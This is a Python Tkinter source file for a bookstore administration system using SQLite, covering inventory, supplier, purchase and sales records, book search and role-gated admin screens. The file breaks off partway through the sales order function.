#!/usr/bin/python
# -*- coding: utf-8 -*-

import sqlite3
import random
import datetime
import os

current_file_path = os.path.realpath(__file__)
current_directory_path = os.path.dirname(current_file_path)
resources_directory_path = os.path.join(current_directory_path, '..', 'resources')
db_directory_path = os.path.join(current_directory_path, '..', 'db')

connection = sqlite3.connect(os.path.join(db_directory_path, 'BAS.db'), 300)

cursor = connection.cursor()

import sys

try:
    from Tkinter import *
except ImportError:
    from tkinter import *

import PIL
from PIL import Image
from PIL import ImageTk

from tkcalendar import Calendar, DateEntry

global cart, session_type

cart = []

class Table:

    def __init__(
        self,
        root,
        lst,
        w=16,
        foreg='black',
        backg='white',
        ):
        for i in range(len(lst)):
            for j in range(len(lst[0])):

                self.e = Entry(root, width=w, fg=foreg, bg=backg,
                               font=('Arial', 16))

                self.e.grid(row=i, column=j)
                self.e.insert(END, lst[i][j])

def confirm_update_inventory():
    global confirm_update_inventory_window
    confirm_update_inventory_window = Tk()
    confirm_update_inventory_window.geometry('500x150+300+120')
    confirm_update_inventory_window.title('Confirm Book Update')
    isbn = str(ei1.get())
    name = str(ei2.get())
    auth = str(ei3.get())
    price = str(ei4.get())
    cat = str(ei5.get())
    pub = str(ei6.get())
    number_of_copies = str(ei7.get())
    threshold_number_of_books = str(ei8.get())
    average_days_of_procuring = str(ei9.get())

    if isbn != '' and name != '' and auth != '' and price != '' and cat \
        != '' and pub != '' and number_of_copies != '' \
        and threshold_number_of_books != '' \
        and average_days_of_procuring != '':
        l1 = Label(confirm_update_inventory_window,
                   text='Are you sure you want to update this book?',
                   font=10)
        b1 = Button(confirm_update_inventory_window, text='Yes',
                    width=10, height=3, command=update_book_in_db)
        b2 = Button(confirm_update_inventory_window, text='No',
                    width=10, height=3, command=confbdest)

        l1.place(x=60, y=20)
        b1.place(x=80, y=80)
        b2.place(x=320, y=80)
    else:

        l10 = Label(inv, text='Please enter all details', fg='red',
                    font=10)
        l10.place(x=150, y=440)
        confirm_update_inventory_window.destroy()
        l10.after(3000, lambda : l10.place_forget())

def confbkadd():
    global confirmb
    confirmb = Tk()
    confirmb.geometry('500x150+300+120')
    confirmb.title('Confirm Book')
    isbn = str(ei1.get())
    name = str(ei2.get())
    auth = str(ei3.get())
    price = str(ei4.get())
    cat = str(ei5.get())
    pub = str(ei6.get())
    number_of_copies = str(ei7.get())
    threshold_number_of_books = str(ei8.get())
    average_days_of_procuring = str(ei9.get())

    if isbn != '' and name != '' and auth != '' and price != '' and cat \
        != '' and pub != '' and number_of_copies != '' \
        and threshold_number_of_books != '' \
        and average_days_of_procuring != '':
        l1 = Label(confirmb,
                   text='Are you sure you want to add this book?',
                   font=10)
        b1 = Button(confirmb, text='Yes', width=10, height=3,
                    command=bookadd)
        b2 = Button(confirmb, text='No', width=10, height=3,
                    command=confbdest)

        l1.place(x=60, y=20)
        b1.place(x=80, y=80)
        b2.place(x=320, y=80)
    else:

        l10 = Label(inv, text='Please enter all details', fg='red',
                    font=10)
        l10.place(x=150, y=440)
        confirmb.destroy()
        l10.after(3000, lambda : l10.place_forget())

def confbdest():
    confirmb.destroy()

def update_book_in_db():
    confirm_update_inventory_window.destroy()
    isbn = str(ei1.get())
    name = str(ei2.get())
    auth = str(ei3.get())
    price = float(ei4.get())
    cat = str(ei5.get())
    pub = str(ei6.get())
    number_of_copies = int(ei7.get())
    threshold_number_of_books = int(ei8.get())
    average_days_of_procuring = int(ei9.get())

    vis = Label(update_inventory_window,
                text='Book updated successfully!', font=8)
    vis.place(x=150, y=460)
    vis.after(3000, lambda : vis.place_forget())
    cursor.execute('UPDATE Book SET Book_Name=?, Author=?, Price=?, Category=?, Publisher=?, number_of_copies=?, threshold=?, average_number_of_days_to_procure=?, rack_number=? WHERE Book_ISBN=?'
                   , (
        name,
        auth,
        price,
        cat,
        pub,
        number_of_copies,
        threshold_number_of_books,
        average_days_of_procuring,
        1,
        isbn,
        ))
    connection.commit()
    return

def bookadd():
    confirmb.destroy()
    isbn = str(ei1.get())
    name = str(ei2.get())
    auth = str(ei3.get())
    price = float(ei4.get())
    cat = str(ei5.get())
    pub = str(ei6.get())
    number_of_copies = int(ei7.get())
    threshold_number_of_books = int(ei8.get())
    average_days_of_procuring = int(ei9.get())

    vis = Label(inv, text='Book Added successfully!', font=8)
    vis.place(x=150, y=460)
    vis.after(3000, lambda : vis.place_forget())
    cursor.execute('INSERT INTO Book VALUES (?,?,?,?,?,?,?,?,?,?)', (
        isbn,
        name,
        auth,
        price,
        cat,
        pub,
        number_of_copies,
        threshold_number_of_books,
        average_days_of_procuring,
        1,
        ))
    connection.commit()
    return

def vsrec():

    cursor.execute('SELECT * FROM Sales')
    rows = cursor.fetchall()

    searchres = Tk()
    searchres.geometry('960x640+100+120')
    searchres.title('Sales Records')

    srl = Label(searchres, text='Sales Records:', font=('Sales Records:'
                , 13), bg='Moccasin', fg='black')
    srl.place(x=80, y=40)

    l1 = Label(searchres, text='Sales ID', font=('Sales ID', 10))
    l2 = Label(searchres, text='Customer ID', font=('Customer', 10))
    l3 = Label(searchres, text='Invoice No', font=('Invoice No', 10))
    l4 = Label(searchres, text='Sales Date', font=('Sales Date', 10))
    l5 = Label(searchres, text='Bill Amount', font=('Bill Amount', 10))

    l1.place(x=60, y=80)
    l2.place(x=235, y=80)
    l3.place(x=410, y=80)
    l4.place(x=585, y=80)
    l5.place(x=760, y=80)

    col = 100
    for r in rows:
        row = 60
        for x in r:
            templabel = Label(searchres, text=x, font=(str(x), 8))
            templabel.place(x=row, y=col)
            row = row + 175
        col = col + 15

    return

def update_inventory():
    global update_inventory_window
    update_inventory_window = Tk()
    update_inventory_window.geometry('720x600+500+120')
    update_inventory_window.title('Book Inventory')
    wel = Label(update_inventory_window, text='Update Book', fg='black'
                , bg='Moccasin', font=16)
    global ei1, ei2, ei3, ei4, ei5, ei6, ei7, ei8, ei9
    l1 = Label(update_inventory_window, text='Book ISBN:', font=10)
    l2 = Label(update_inventory_window, text='Book Name:', font=10)
    l3 = Label(update_inventory_window, text='Author:', font=10)
    l4 = Label(update_inventory_window, text='Price:', font=10)
    l5 = Label(update_inventory_window, text='Category:', font=10)
    l6 = Label(update_inventory_window, text='Publisher:', font=10)
    l7 = Label(update_inventory_window, text='Number of copies:',
               font=10)
    l8 = Label(update_inventory_window,
               text='Threshold number of copies:', font=10)
    l9 = Label(update_inventory_window,
               text='Average number of days to procure:', font=10)

    ei1 = Entry(update_inventory_window, font=10, bd=5)
    ei2 = Entry(update_inventory_window, font=10, bd=5)
    ei3 = Entry(update_inventory_window, font=10, bd=5)
    ei4 = Entry(update_inventory_window, font=10, bd=5)
    ei5 = Entry(update_inventory_window, font=10, bd=5)
    ei6 = Entry(update_inventory_window, font=10, bd=5)
    ei7 = Entry(update_inventory_window, font=10, bd=5)
    ei8 = Entry(update_inventory_window, font=10, bd=5)
    ei9 = Entry(update_inventory_window, font=10, bd=5)

    b1 = Button(update_inventory_window, text='Update Book', width=20,
                height=3, command=confirm_update_inventory)
    wel.place(x=150, y=40)
    l1.place(x=70, y=80)
    ei1.place(x=420, y=80)
    l2.place(x=70, y=120)
    ei2.place(x=420, y=120)
    l3.place(x=70, y=160)
    ei3.place(x=420, y=160)
    l4.place(x=70, y=200)
    ei4.place(x=420, y=200)
    l5.place(x=70, y=240)
    ei5.place(x=420, y=240)
    l6.place(x=70, y=280)
    ei6.place(x=420, y=280)
    l7.place(x=70, y=320)
    ei7.place(x=420, y=320)
    l8.place(x=70, y=360)
    ei8.place(x=420, y=360)
    l9.place(x=70, y=400)
    ei9.place(x=420, y=400)
    b1.place(x=150, y=500)
    return

def addinv():
    global inv
    inv = Tk()
    inv.geometry('720x600+500+120')
    inv.title('Book Inventory')
    wel = Label(inv, text='Add New Book', fg='black', bg='Moccasin',
                font=16)
    global ei1, ei2, ei3, ei4, ei5, ei6, ei7, ei8, ei9
    l1 = Label(inv, text='Book ISBN:', font=10)
    l2 = Label(inv, text='Book Name:', font=10)
    l3 = Label(inv, text='Author:', font=10)
    l4 = Label(inv, text='Price:', font=10)
    l5 = Label(inv, text='Category:', font=10)
    l6 = Label(inv, text='Publisher:', font=10)
    l7 = Label(inv, text='Number of copies:', font=10)
    l8 = Label(inv, text='Threshold number of copies:', font=10)
    l9 = Label(inv, text='Average number of days to procure:', font=10)

    ei1 = Entry(inv, font=10, bd=5)
    ei2 = Entry(inv, font=10, bd=5)
    ei3 = Entry(inv, font=10, bd=5)
    ei4 = Entry(inv, font=10, bd=5)
    ei5 = Entry(inv, font=10, bd=5)
    ei6 = Entry(inv, font=10, bd=5)
    ei7 = Entry(inv, font=10, bd=5)
    ei8 = Entry(inv, font=10, bd=5)
    ei9 = Entry(inv, font=10, bd=5)

    b1 = Button(inv, text='Add Book', width=20, height=3,
                command=confbkadd)
    wel.place(x=150, y=40)
    l1.place(x=70, y=80)
    ei1.place(x=420, y=80)
    l2.place(x=70, y=120)
    ei2.place(x=420, y=120)
    l3.place(x=70, y=160)
    ei3.place(x=420, y=160)
    l4.place(x=70, y=200)
    ei4.place(x=420, y=200)
    l5.place(x=70, y=240)
    ei5.place(x=420, y=240)
    l6.place(x=70, y=280)
    ei6.place(x=420, y=280)
    l7.place(x=70, y=320)
    ei7.place(x=420, y=320)
    l8.place(x=70, y=360)
    ei8.place(x=420, y=360)
    l9.place(x=70, y=400)
    ei9.place(x=420, y=400)
    b1.place(x=150, y=500)
    return

def viewpur():
    cursor.execute('SELECT * FROM Purchase')
    rows = cursor.fetchall()

    searchres = Tk()
    searchres.geometry('840x640+100+120')
    searchres.title('Purchase Records')

    srl = Label(searchres, text='Purchase Records:',
                font=('Purchase Records:', 13), bg='Moccasin',
                fg='black')
    srl.place(x=80, y=40)

    l1 = Label(searchres, text='Purchase ID', font=('Sales ID', 10))
    l2 = Label(searchres, text='Supplier ID', font=('Customer', 10))
    l3 = Label(searchres, text='Purchase Date', font=('Invoice No', 10))
    l4 = Label(searchres, text='Amount Paid', font=('Sales Date', 10))

    l1.place(x=40, y=80)
    l2.place(x=240, y=80)
    l3.place(x=440, y=80)
    l4.place(x=640, y=80)

    col = 100
    for r in rows:
        row = 40
        for x in r:
            templabel = Label(searchres, text=x, font=(str(x), 8))
            templabel.place(x=row, y=col)
            row = row + 200
        col = col + 15

    return

def puradd():
    confirmp.destroy()
    purid = str('pur' + str(random.randint(150, 1000000)))
    supid = str(ep2.get())
    now = datetime.datetime.now()
    date = now.strftime('%Y-%m-%d')
    price = float(ep6.get())

    vis = Label(pur, text='Purchase Added successfully!', font=8)
    vis.place(x=150, y=460)
    vis.after(3000, lambda : vis.place_forget())
    cursor.execute('INSERT INTO Purchase VALUES (?,?,?,?)', (purid,
                   supid, date, price))
    connection.commit()
    return

def confpur():
    global confirmp
    confirmp = Tk()
    confirmp.geometry('500x150+300+120')
    confirmp.title('Confirm Purchase')
    supid = str(ep2.get())
    price = str(ep6.get())

    if supid != '' and price != '':
        l1 = Label(confirmp,
                   text='Are you sure you want to add this purchase?',
                   font=10)
        b1 = Button(confirmp, text='Yes', width=10, height=3,
                    command=puradd)
        b2 = Button(confirmp, text='No', width=10, height=3,
                    command=confdest)

        l1.place(x=40, y=20)
        b1.place(x=80, y=80)
        b2.place(x=320, y=80)
    else:
        l2 = Label(pur, text='Please enter all details', font=10,
                   fg='red')
        l2.place(x=200, y=430)
        l2.after(3000, lambda : l2.place_forget())
        confdest()

def confdest():
    confirmp.destroy()

def addpur():
    global pur
    pur = Tk()
    pur.geometry('640x400+500+120')
    pur.title('Book Purchase')
    wel = Label(pur, text='New Book Purchase from Suplier', fg='black',
                font=16)
    global ep1, ep2, ep3, ep4, ep5, ep6

    l2 = Label(pur, text='Supplier ID:', font=10)
    l7 = Label(pur, text='Price:', font=10)

    ep2 = Entry(pur, font=10, bd=5)
    ep6 = Entry(pur, font=10, bd=5)

    b1 = Button(
        pur,
        text='Add Purchase Record',
        width=30,
        height=3,
        bg='lightgreen',
        command=confpur,
        )
    b2 = Button(
        pur,
        text='Find supplier ID',
        width=30,
        height=3,
        bg='lightblue',
        command=search_supplier,
        )

    wel.place(x=150, y=40)

    l2.place(x=70, y=100)
    ep2.place(x=230, y=100)
    l7.place(x=70, y=190)
    ep6.place(x=230, y=190)

    b2.place(x=60, y=250)
    b1.place(x=360, y=250)
    return

def reqadd():
    confirmr.destroy()
    book = str(cb1.get())
    auth = str(ca1.get())

    vis = Label(request, text='Request made successfully!', font=8)
    vis.place(x=150, y=460)
    vis.after(3000, lambda : vis.place_forget())
    cursor.execute('INSERT INTO Request VALUES (?,?)', (book, auth))
    connection.commit()
    return

def confreqdest():
    confirmr.destroy()

def confreq():
    global confirmr
    confirmr = Tk()
    confirmr.geometry('500x150+300+120')
    confirmr.title('Confirm Request')

    l1 = Label(confirmr,
               text='Are you sure you want to request this book?',
               font=10)
    b1 = Button(confirmr, text='Yes', width=10, height=3,
                command=reqadd)
    b2 = Button(confirmr, text='No', width=10, height=3,
                command=confreqdest)

    l1.place(x=40, y=20)
    b1.place(x=80, y=80)
    b2.place(x=320, y=80)

def cusreq():
    global cb1, ca1
    global request
    request = Tk()
    request.geometry('640x480+700+120')
    request.title('Request Book')
    disp = Label(request, text='Request your book here:', fg='black',
                 bg='Moccasin', font=12)
    disp.place(x=200, y=70)
    sl1 = Label(request, text='Book Title:', font=('Book Title:', 10))
    cb1 = Entry(request, font=10, bd=5)

    sl2 = Label(request, text='Author:', font=('Author:', 10))
    ca1 = Entry(request, font=10, bd=5)

    sl1.place(x=100, y=140)
    cb1.place(x=210, y=140)

    sl2.place(x=100, y=220)
    ca1.place(x=210, y=220)

    sb = Button(request, text='Request Book', width=20, height=2,
                command=confreq)
    sb.place(x=210, y=300)
    return

def logoutadm():
    session_type = 0
    admpg.destroy()
    return

def getbooksunderthreshold():
    threshold = Tk()
    threshold.geometry('1000x600+700+120')
    threshold.title('Book threshold')
    cursor.execute('SELECT Book_ISBN, Book_Name, number_of_copies, Price, Publisher FROM Book b WHERE b.number_of_copies <= b.threshold'
                   )
    rows = cursor.fetchall()

    srl = Label(threshold, text='Books below or at threshold level',
                font=('Customer Book threshold:', 12), bg='Moccasin',
                fg='black')
    srl.place(x=80, y=40)

    l1 = Label(threshold, text='ISBN', font=('Sales ID', 10))
    l2 = Label(threshold, text='Name', font=('Customer', 10))
    l3 = Label(threshold, text='Number of copies', font=('Customer',
               10))
    l4 = Label(threshold, text='Price', font=('Customer', 10))
    l5 = Label(threshold, text='Publisher', font=('Customer', 10))

    l1.place(x=60, y=80)
    l2.place(x=210, y=80)
    l3.place(x=430, y=80)
    l4.place(x=580, y=80)
    l5.place(x=730, y=80)

    col = 100
    ix = 0
    for r in rows:
        row = 60
        ix = 0
        for x in r:
            extend = 220
            if not ix or ix == 3 or ix == 2:
                extend = 150
            templabel = Label(threshold, text=x, font=(str(x), 8))
            templabel.place(x=row, y=col)
            row = row + extend
            ix += 1

        col = col + 15

    return

def show_sales_statistics():
    sales_statistics_selection_window = Tk()
    sales_statistics_selection_window.geometry('800x640+500+200')
    sales_statistics_selection_window.title('Sales statistics selection'
            )

    global calfrom, calto
    calfrom = DateEntry(sales_statistics_selection_window,
                        selectmode='day', year=2022, month=4, day=12)
    calto = DateEntry(sales_statistics_selection_window,
                      selectmode='day', year=2022, month=4, day=14)

    calfrom.pack(pady=10)
    calto.pack(pady=40)

    l1 = Label(sales_statistics_selection_window, text='From date',
               font=('Times New Roman', 10))
    l2 = Label(sales_statistics_selection_window, text='To date',
               font=('Times New Roman', 10))

    l1.place(x=80, y=20)
    l2.place(x=80, y=80)

    Button(sales_statistics_selection_window,
           text='Get statistics for this period',
           command=sales_statistics).pack(pady=10)

    return

def parse_date(d):
    i = 0
    ch = d[i]
    day = ''
    month = ''
    year = ''

    while ch != '/':
        day += ch
        i += 1
        ch = d[i]

    if len(day) < 2:
        day = '0' + day

    i += 1
    while ch != '/':
        month += ch
        i += 1
        ch = d[i]

    if len(month) < 2:
        month = '0' + month

    i += 1
    while ch != '/':
        year += ch
        i += 1
        ch = d[i]

    return (int(day), int(month), int(year))

def sales_statistics():
    sales_statistics_window = Tk()
    sales_statistics_window.geometry('1280x700+500+200')
    sales_statistics_window.title('Sales statistics')

    lst2 = []
    lst2.append((
        'ISBN',
        'Name',
        'Price',
        'Publisher',
        'Copies sold',
        'Total revenue',
        ))
    from_date = calfrom.get_date()
    to_date = calto.get_date()

    cursor.execute('SELECT isbn, quantity from book_sales WHERE time_of_sale >= ? AND time_of_sale <= ?'
                   , (from_date.strftime('%Y-%m-%d'),
                   to_date.strftime('%Y-%m-%d')))

    sales_rows = cursor.fetchall()

    ctr = 1
    stats = {}
    for i in sales_rows:
        cursor.execute('SELECT Book_Name, Price, Publisher FROM Book b WHERE Book_ISBN = ?'
                       , (i[0], ))
        book_rows = cursor.fetchall()
        if len(book_rows) > 0:
            if not stats.has_key(i[0]):
                stats[i[0]] = {}
                stats[i[0]]['isbn'] = i[0]
                stats[i[0]]['name'] = book_rows[0][0]
                stats[i[0]]['price'] = book_rows[0][1]
                stats[i[0]]['quantity'] = i[1]
                stats[i[0]]['publisher'] = book_rows[0][2]
            else:
                stats[i[0]]['quantity'] += i[1]

    for s in stats:
        lst2.append((
            s,
            stats[s]['name'],
            str(stats[s]['price']),
            stats[s]['publisher'],
            str(stats[s]['quantity']),
            str(stats[s]['quantity'] * stats[s]['price']),
            ))

    tbl = Table(sales_statistics_window, lst2)
    return

def show_not_in_stock_books():
    show_not_in_stock_window = Tk()
    show_not_in_stock_window.geometry('1280x700+500+200')
    show_not_in_stock_window.title('Not in stock books')

    lst2 = []
    lst2.append(('ISBN', 'Name', 'Price', 'Publisher', 'Query count'))

    cursor.execute('SELECT * FROM not_in_stock')
    not_in_stock_rows = cursor.fetchall()

    ctr = 1
    for s in not_in_stock_rows:
        cursor.execute('SELECT Book_Name, Price, Publisher FROM Book b WHERE Book_ISBN = ?'
                       , (s[0], ))
        book_rows = cursor.fetchall()
        if len(book_rows) > 0:
            lst2.append((s[0], book_rows[0][0], book_rows[0][1],
                        book_rows[0][2], s[1]))

    tbl = Table(show_not_in_stock_window, lst2)
    return

def adminpage():
    global admpg
    user = str(ea1.get())
    pasw = str(ea2.get())

    cursor.execute('SELECT Login_ID,Password,Admin_ID,position FROM Admin'
                   )
    rows = cursor.fetchall()
    flag = 0

    for r in rows:
        if user == r[0] and pasw == r[1]:
            session_type = r[3]
            var = Label(adm, text='Login Successful',
                        font=('Login Successful', 18), fg='green')
            var.place(x=150, y=400)
            adm.destroy()
            admpg = Tk()
            admpg.geometry('840x640+500+120')
            admpg.title('Administration Portal')
            var = 'Welcome  ' + r[2] + '!'
            l1 = Label(admpg, text=var, fg='black', bg='Moccasin',
                       font=(var, 16))
            l1.place(x=200, y=50)

            b = Button(
                admpg,
                text='Log Out',
                fg='blue',
                width=5,
                height=1,
                command=logoutadm,
                )
            b.place(x=600, y=50)

            if session_type == 1 or session_type == 2 or session_type \
                == 3:
                b2 = Button(admpg, text='Add to inventory', width=20,
                            height=3, command=addinv)
                b2.place(x=100, y=100)

            if session_type == 2 or session_type == 3 or session_type \
                == 1:
                b7 = Button(admpg, text='Update inventory', width=20,
                            height=3, command=update_inventory)
                b7.place(x=340, y=100)

            if session_type == 2 or session_type == 1 or session_type \
                == 3:
                b8 = Button(admpg, text='Create Order', width=20,
                            height=3, command=porder)
                b8.place(x=100, y=250)

            if session_type == 2 or session_type == 3:
                b1 = Button(admpg, text='View Sales Record', width=20,
                            height=3, command=vsrec)
                b1.place(x=340, y=250)

            if session_type == 2 or session_type == 3:
                b3 = Button(admpg, text='View Purchase Record',
                            width=25, height=3, command=viewpur)
                b3.place(x=100, y=400)

            if session_type == 2 or session_type == 3:
                b4 = Button(admpg, text='Add Purchase Record',
                            width=25, height=3, command=addpur)
                b4.place(x=340, y=400)

            if session_type == 2 or session_type == 3:
                b5 = Button(admpg, text='Customer Requests', width=20,
                            height=3, command=request)
                b5.place(x=100, y=550)

            if session_type == 3:
                b6 = Button(admpg, text='Books under threshold',
                            width=25, height=3,
                            command=getbooksunderthreshold)
                b6.place(x=340, y=550)

            if session_type == 3:
                b9 = Button(admpg, text='Sales Statistics', width=25,
                            height=3, command=show_sales_statistics)
                b9.place(x=580, y=400)

            if session_type == 3:
                b10 = Button(admpg, text='Not in stock books',
                             width=25, height=3,
                             command=show_not_in_stock_books)
                b10.place(x=580, y=250)

            b11 = Button(admpg, text='Search books', width=25,
                         height=3, command=sbook)
            b11.place(x=580, y=100)

            flag = 1

    if flag == 0:
        var = Label(adm, text='Incorrect Username/Password',
                    font=('Incorrect Username/Password', 10), fg='black'
                    )
        var.place(x=150, y=420)
    return

def spacesearch(x):
    if x == 0:
        return 90
    elif x == 1:
        return 276
    elif x == 2:
        return 216
    elif x == 3:
        return 90
    elif x == 4:
        return 168
    elif x == 5:
        return 0

def spacesearch2(x):
    if x == 0:
        return 110
    elif x == 1:
        return 275
    elif x == 2:
        return 210
    elif x == 3:
        return 300
    elif x == 4:
        return 180

def sbookfun():
    var1 = str(se1.get())

    bname = '%' + var1 + '%'
    bname = bname.lower()

    var2 = str(se2.get())
    auth = '%' + var2 + '%'
    auth = auth.lower()

    var3 = str(se3.get())
    cat = '%' + var3 + '%'
    cat = cat.lower()

    cursor.execute('SELECT * FROM Book WHERE LOWER(Book_Name) LIKE ? AND LOWER(Author) LIKE ? AND LOWER(Category) LIKE ?'
                   , (bname, auth, cat))

    rows = cursor.fetchall()

    searchres = Tk()
    searchres.geometry('1280x640+100+120')
    searchres.title('Search Results')

    srl = Label(searchres, text='Search Results:',
                font=('Search Results:', 14), bg='Moccasin', fg='black')
    srl.place(x=80, y=40)

    global search_results_list, books

    scroll_bar = Scrollbar(searchres)

    scroll_bar.pack(side=RIGHT, fill=Y)

    search_results_list = Listbox(searchres,
                                  yscrollcommand=scroll_bar.set,
                                  width=60, selectmode=SINGLE, height=5)

    for r in rows:
        search_results_list.insert(END, str(r[1]) + ' by ' + str(r[2])
                                   + ' at INR ' + str(r[3]) + ' ISBN: '
                                   + str(r[0]))

    search_results_list.pack(side=LEFT, fill=BOTH)

    scroll_bar.config(command=search_results_list.yview)

    books = []
    books.append((
        'ISBN',
        'Name',
        'Author',
        'Price',
        'Category',
        'Publisher',
        'Number of Copies',
        'Rack Number',
        ))
    for r in rows:
        books.append((
            r[0],
            r[1],
            r[2],
            r[3],
            r[4],
            r[5],
            r[6],
            r[9] or 1,
            ))

    if len(rows) > 0:
        sb = Button(searchres, text='View selected book', width=25,
                    height=2, command=view_book_window_fun)
        sb.place(x=800, y=350)

    return

def view_book_window_fun():
    global view_book_window
    view_book_window = Tk()
    view_book_window.geometry('1280x640+500+120')
    view_book_window.title('View Book')

    book = books[search_results_list.curselection()[0] + 1]
    isbn = book[0]

    lst = []
    lst.append(books[0])
    for b in books:
        if b[0] == isbn:
            lst.append(b)
            break

    if book[6] <= 0:
        cursor.execute('SELECT count(*) from `not_in_stock` WHERE ISBN = ?'
                       , (isbn, ))
        count = cursor.fetchall()

        if count[0][0] > 0:
            cursor.execute('UPDATE `not_in_stock` SET count = ((SELECT count FROM `not_in_stock` WHERE ISBN = ?) + 1) WHERE ISBN = ?'
                           , (isbn, isbn))
            connection.commit()
        else:
            cursor.execute('INSERT INTO `not_in_stock` VALUES (?,?)',
                           (isbn, 1))
            connection.commit()

    tbl = Table(view_book_window, lst, w=14)

def sbook():
    global se1, se2, se3
    searchbk = Tk()
    searchbk.geometry('640x480+700+120')
    searchbk.title('Search Book')
    disp = Label(searchbk, text='Enter keywords for search', fg='black'
                 , bg='Moccasin', font=12)
    disp.place(x=200, y=70)
    sl1 = Label(searchbk, text='Book Title:', font=('Book Title:', 10))
    se1 = Entry(searchbk, font=10, bd=5)

    sl2 = Label(searchbk, text='Author:', font=('Author:', 10))
    se2 = Entry(searchbk, font=10, bd=5)

    sl3 = Label(searchbk, text='Genre:', font=('Category:', 10))
    se3 = Entry(searchbk, font=10, bd=5)

    sl1.place(x=100, y=140)
    se1.place(x=210, y=140)

    sl2.place(x=100, y=220)
    se2.place(x=210, y=220)

    sl3.place(x=100, y=300)
    se3.place(x=210, y=300)

    sb = Button(searchbk, text='Search Available Books', width=25,
                height=2, command=sbookfun)
    sb.place(x=210, y=350)

    sl4 = Label(searchbk, text="Can't find the book you're looking for?"
                , font=("Can't find the book you're looking for?", 10),
                fg='blue')
    sb1 = Button(
        searchbk,
        text='Click Here',
        fg='blue',
        width=10,
        height=2,
        command=cusreq,
        )

    sl4.place(x=100, y=420)
    sb1.place(x=390, y=410)
    return

def add_supplier_to_db():
    confirmsup.destroy()
    isbn = str(supei1.get())
    name = str(supei2.get())
    auth = str(supei3.get())
    price = str(supei4.get())

    vis = Label(add_supplier_window, text='Supplier added successfully!'
                , font=8)
    vis.place(x=150, y=460)
    vis.after(3000, lambda : vis.place_forget())
    cursor.execute('INSERT INTO Supplier VALUES (?,?,?,?,?)', ('sup'
                   + str(random.randint(300, 10000)), isbn, name, auth,
                   price))
    connection.commit()
    return

def destroy_confirm_add_supplier():
    confirmsup.destroy()

def confirm_add_supplier():
    global confirmsup
    confirmsup = Tk()
    confirmsup.geometry('500x150+300+120')
    confirmsup.title('Confirm Supplier')
    isbn = str(supei1.get())
    name = str(supei2.get())
    auth = str(supei3.get())
    price = str(supei4.get())

    if isbn != '' and name != '' and auth != '' and price != '':
        l1 = Label(confirmsup,
                   text='Are you sure you want to add this book?',
                   font=10)
        b1 = Button(confirmsup, text='Yes', width=10, height=3,
                    command=add_supplier_to_db)
        b2 = Button(confirmsup, text='No', width=10, height=3,
                    command=destroy_confirm_add_supplier)

        l1.place(x=60, y=20)
        b1.place(x=80, y=80)
        b2.place(x=320, y=80)
    else:

        l10 = Label(add_supplier_window, text='Please enter all details'
                    , fg='red', font=10)
        l10.place(x=150, y=440)
        confirmsup.destroy()
        l10.after(3000, lambda : l10.place_forget())

def add_supplier():
    global add_supplier_window
    add_supplier_window = Tk()
    add_supplier_window.geometry('720x600+500+120')
    add_supplier_window.title('Book Inventory')
    wel = Label(add_supplier_window, text='Add New Supplier', fg='black'
                , bg='Moccasin', font=16)
    global supei1, supei2, supei3, supei4
    supl1 = Label(add_supplier_window, text='Supplier Name:', font=10)
    supl2 = Label(add_supplier_window, text='Publication:', font=10)
    supl3 = Label(add_supplier_window, text='Email:', font=10)
    supl4 = Label(add_supplier_window, text='Phone:', font=10)

    supei1 = Entry(add_supplier_window, font=10, bd=5)
    supei2 = Entry(add_supplier_window, font=10, bd=5)
    supei3 = Entry(add_supplier_window, font=10, bd=5)
    supei4 = Entry(add_supplier_window, font=10, bd=5)

    b1 = Button(add_supplier_window, text='Add Supplier', width=20,
                height=3, command=confirm_add_supplier)
    wel.place(x=150, y=40)
    supl1.place(x=70, y=80)
    supei1.place(x=420, y=80)
    supl2.place(x=70, y=120)
    supei2.place(x=420, y=120)
    supl3.place(x=70, y=160)
    supei3.place(x=420, y=160)
    supl4.place(x=70, y=200)
    supei4.place(x=420, y=200)
    b1.place(x=150, y=500)
    return

def search_supplier_access():
    var1 = str(sse2.get())
    bname = '%' + var1 + '%'
    bname = bname.lower()

    cursor.execute('SELECT * FROM Supplier WHERE LOWER(Supplier_Name) LIKE ? OR LOWER(Publication) LIKE ? OR LOWER(Email_ID) LIKE ?'
                   , (bname, bname, bname))
    rows = cursor.fetchall()

    searchres = Tk()
    searchres.geometry('1280x640+100+120')
    searchres.title('Search Results')

    srl = Label(searchres, text='Search Results:',
                font=('Search Results:', 13), bg='Moccasin', fg='black')
    srl.place(x=80, y=40)

    l1 = Label(searchres, text='Supplier_ID', font=('ISBN', 12))
    l2 = Label(searchres, text='Supplier_Name', font=('Name', 12))
    l3 = Label(searchres, text='Publication', font=('Author', 12))
    l4 = Label(searchres, text='Email_ID', font=('Price', 12))
    l5 = Label(searchres, text='Phone_No', font=('Category', 12))

    l1.place(x=65, y=80)
    l2.place(x=175, y=80)
    l3.place(x=450, y=80)
    l4.place(x=660, y=80)
    l5.place(x=960, y=80)

    col = 100
    for r in rows:
        row = 65
        for x in range(len(r)):
            templabel = Label(searchres, text=r[x], font=(str(r[x]),
                              10))
            templabel.place(x=row, y=col)
            row = row + spacesearch2(x)
        col = col + 40

    return

def search_supplier():
    global sse2
    search_supplier_window = Tk()
    search_supplier_window.geometry('640x480+700+120')
    search_supplier_window.title('Search Suppliers')
    disp = Label(search_supplier_window,
                 text='Enter name or address of supplier', fg='black',
                 bg='Moccasin', font=12)
    disp.place(x=200, y=70)
    sl2 = Label(search_supplier_window, text='Supplier: ',
                font=('Book Title:', 10))
    sse2 = Entry(search_supplier_window, font=10, bd=5)

    sl2.place(x=100, y=220)
    sse2.place(x=210, y=220)

    sb = Button(search_supplier_window,
                text='Search Available Suppliers', width=25, height=2,
                command=search_supplier_access)
    sb.place(x=210, y=350)

    sl4 = Label(search_supplier_window,
                text="Can't find the supplier you're looking for?",
                font=("Can't find the book you're looking for?", 10),
                fg='blue')
    sb1 = Button(
        search_supplier_window,
        text='Add one',
        fg='blue',
        width=10,
        height=2,
        command=add_supplier,
        )

    sl4.place(x=100, y=420)
    sb1.place(x=390, y=410)
    return

def salord():
    salid = 'sal' + str(random.randint(1, 10000))
    cusid = str(epo2.get())
    invo = random.randint(800, 1000000)
    now = datetime.datetime.now()
    date = now.strftime('%Y-%m-%d')
    isbn = str(epo1.get())

    cursor.execute('INSERT INTO Sales VALUES(?,?,?,?,?)', (salid,
                   cusid, invo, date, pri))
    connection.commit()

    for book in cart:
        cursor.execute('UPDATE Book SET number_of_copies=((SELECT number_of_copies FROM Book WHERE Book_ISBN=?)-1) WHERE Book_ISBN=?'
                       , (book, book))
        connection.commit()

    new_cart = {}

    for j in cart_books:
